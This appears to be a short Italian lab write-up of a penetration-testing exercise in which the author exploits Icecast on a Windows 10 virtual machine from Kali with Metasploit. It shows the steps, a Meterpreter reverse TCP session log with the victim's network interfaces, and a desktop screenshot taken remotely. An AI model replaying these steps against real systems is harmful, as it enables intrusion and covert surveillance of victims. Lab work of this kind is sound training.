

l'esercizio di oggi consisteva nel lanciare un exploit a icecast per ottenere uno screenshot del desktop della macchina vittima.

Il primo passaggio è stato aprire su kali msfconsole e con il comando search icecast trovare l'exploit.

Una volta trovato l'exploit aprire sulla macchina vittima(w10 pro) icescast e da kali lanciare l'exploit.

Come possiamo vedere in figura l'exploit è stato eseguito con successo

```
[*] Started reverse TCP handler on 192.168.178.44:4444
[*] Sending stage (176198 bytes) to 192.168.178.47
[*] Meterpreter session 1 opened (192.168.178.44:4444 → 192.168.178.47:49793) at 2024-11-14 06:37:11 -0500

meterpreter > ipconfig

Interface 1
-----
Name           : Software Loopback Interface 1
Hardware MAC   : 00:00:00:00:00:00
MTU            : 4294967295
IPv4 Address   : 127.0.0.1
IPv4 Netmask   : 255.0.0.0
IPv6 Address   : ::1
IPv6 Netmask   : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 3
-----
Name           : Microsoft ISATAP Adapter #2
Hardware MAC   : 00:00:00:00:00:00
MTU            : 1280
IPv6 Address   : fe80::5efe:c0a8:b22f
IPv6 Netmask   : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 4
-----
Name           : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC   : 08:00:27:e1:ad:44
MTU            : 1492
IPv4 Address   : 192.168.178.47
IPv4 Netmask   : 255.255.255.0
IPv6 Address   : 2a01:9a80:1001:22:58b5:477f:cd83:c79e
IPv6 Netmask   : ffff:ffff:ffff:ffff::
IPv6 Address   : 2a01:9a80:1001:22:19d0:9146:ac4f:3ac5
IPv6 Netmask   : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6 Address   : fe80::58b5:477f:cd83:c79e
IPv6 Netmask   : ffff:ffff:ffff:ffff::

Interface 5
-----
Name           : Microsoft Teredo Tunneling Adapter
Hardware MAC   : 00:00:00:00:00:00
MTU            : 1280
IPv6 Address   : 2001:0:2851:782c:340d:286b:3f57:4dd0
IPv6 Netmask   : ffff:ffff:ffff:ffff::
IPv6 Address   : fe80::340d:286b:3f57:4dd0
IPv6 Netmask   : ffff:ffff:ffff:ffff::

meterpreter > 
```

L'ultimo passaggio da eseguire per il completamento dell'esercizio era ottenere uno screenshot del desktop della macchina vittima. Con il comando screenshot è stato con successo ottenuto (guarda che bello lo sfondo).

